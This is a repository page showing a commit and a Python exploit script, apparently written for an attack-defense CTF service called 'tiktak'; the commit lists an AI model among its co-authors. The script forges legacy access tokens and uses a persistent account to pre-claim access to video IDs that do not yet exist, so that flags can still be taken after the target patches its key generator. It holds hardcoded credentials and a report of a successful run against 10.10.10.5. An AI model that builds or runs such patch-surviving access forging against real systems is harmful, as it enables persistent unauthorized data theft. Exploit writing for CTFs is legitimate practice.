Files
bobiqqandClaude Opus 5 00cf1c0e55 sploits: закладка на пре-авторизацию будущих видео (tiktak)
handleAccess выдаёт доступ, не проверяя существование видео, а запись в
access привязана к аккаунту и переживает ротацию токенов. Значит можно
занять строки под будущие id постоянным аккаунтом, и забирать флаги даже
после того, как цель запатчит keygen.

- tiktak_preauth.py: логинится постоянным PERSIST_LOGIN, меряет скорость
  роста id (у команд разброс 7..900/мин), занимает окно вперёд на N минут.
  Не для фермы, запускать раз в 10-20 мин, пока цель не запатчила.
- tiktak_keygen_forge.py: тот же постоянный аккаунт вместо одноразового;
  watch=200 без форжа = сработала закладка, собираем флаг и оттуда.

Проверено на 10.10.10.5: занял 184 будущих id, через минуту watch/60524 и
60527 отдали свежие флаги без токена в запросе.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 13:23:37 +03:00

122 lines
4.8 KiB
Python
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python3
"""Закладка на tiktak: пре-авторизация на ещё не созданные video id.
Не сплойт для фермы -- флаги не собирает, готовит почву. Запускать РЕДКО
(раз в 10-20 минут), пока цель не запатчила handleAccess.
./tiktak_preauth.py 10.10.10.5
./tiktak_preauth.py 10.10.10.5 --minutes 20
Зачем: handleAccess вызывает AddAccess не проверяя, что видео существует,
поэтому можно занять строки в access под будущие id. haveAccess() смотрит
в таблицу, а не на токен -- значит доступ переживёт переход цели на новый
keygen. Дальше их собирает tiktak_keygen_forge.py под тем же аккаунтом.
Осторожно: это POST-ы в чужую БД. Скорость ограничена сознательно, не
поднимай RATE бездумно -- уронишь цель, и флагов не будет вовсе.
"""
import sys
import re
import time
import argparse
import requests
from concurrent.futures import ThreadPoolExecutor
PORT = 5000
WORKERS = 20
MAX_IDS = 12000
SAMPLE_SECONDS = 20
# должно совпадать с tiktak_keygen_forge.py, иначе закладку некому забрать
PERSIST_LOGIN = "mkt_svc_4a91"
PERSIST_PASS = "Qw8_rt2M_zx71"
WATCH_RX = re.compile(r"/watch/(\d+)")
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def legacy_token(vid):
seed = vid
out = []
for _ in range(30):
seed = (seed * 17 + 42) % 62
out.append(ALPHABET[seed])
return "".join(out)
def top_id(s, base):
ids = [int(x) for x in WATCH_RX.findall(s.get(f"{base}/feed", timeout=6).text)]
return max(ids) if ids else None
def login_or_register(s, base):
for path in ("login", "register"):
r = s.post(f"{base}/{path}",
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
timeout=6, allow_redirects=False)
if r.status_code == 302:
return True
return False
def main():
ap = argparse.ArgumentParser()
ap.add_argument("target")
ap.add_argument("--minutes", type=int, default=15,
help="на сколько минут вперёд занимать id (default 15)")
args = ap.parse_args()
base = f"http://{args.target}:{PORT}"
s = requests.Session()
s.mount("http://", requests.adapters.HTTPAdapter(
pool_connections=WORKERS, pool_maxsize=WORKERS))
if not login_or_register(s, base):
print(f"[-] {args.target}: не удалось войти", file=sys.stderr, flush=True)
return 1
t0 = top_id(s, base)
if t0 is None:
print(f"[-] {args.target}: пустой /feed", file=sys.stderr, flush=True)
return 1
# Скорость роста id у команд отличается на два порядка (7/мин против
# 900/мин), фиксированный диапазон был бы либо бесполезен, либо шумен.
time.sleep(SAMPLE_SECONDS)
t1 = top_id(s, base) or t0
rate = max(1.0, (t1 - t0) / SAMPLE_SECONDS * 60)
span = min(MAX_IDS, int(rate * args.minutes) + 50)
print(f"[*] {args.target}: top={t1}, {rate:.0f} id/мин, "
f"занимаю {span} id на ~{args.minutes} мин", file=sys.stderr, flush=True)
# Проверяем, что форж вообще проходит, прежде чем слать тысячи POST-ов.
probe = s.post(f"{base}/access",
data={"videoID": t1 + span, "token": legacy_token(t1 + span)},
timeout=6, allow_redirects=False)
if not probe.headers.get("Location", "").endswith(f"/watch/{t1 + span}"):
print(f"[!] {args.target}: /access отверг форж -- keygen или "
f"проверка существования видео уже запатчены", file=sys.stderr, flush=True)
return 1
def claim(vid):
try:
r = s.post(f"{base}/access",
data={"videoID": vid, "token": legacy_token(vid)},
timeout=6, allow_redirects=False)
return r.headers.get("Location", "").endswith(f"/watch/{vid}")
except requests.RequestException:
return False
span_ids = range(t1 + 1, t1 + span)
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
ok = sum(1 for r in ex.map(claim, span_ids) if r)
print(f"[+] {args.target}: занято {ok}/{len(span_ids)} id "
f"({t1 + 1}..{t1 + span - 1}), забирать через tiktak_keygen_forge.py",
file=sys.stderr, flush=True)
return 0
if __name__ == "__main__":
sys.exit(main())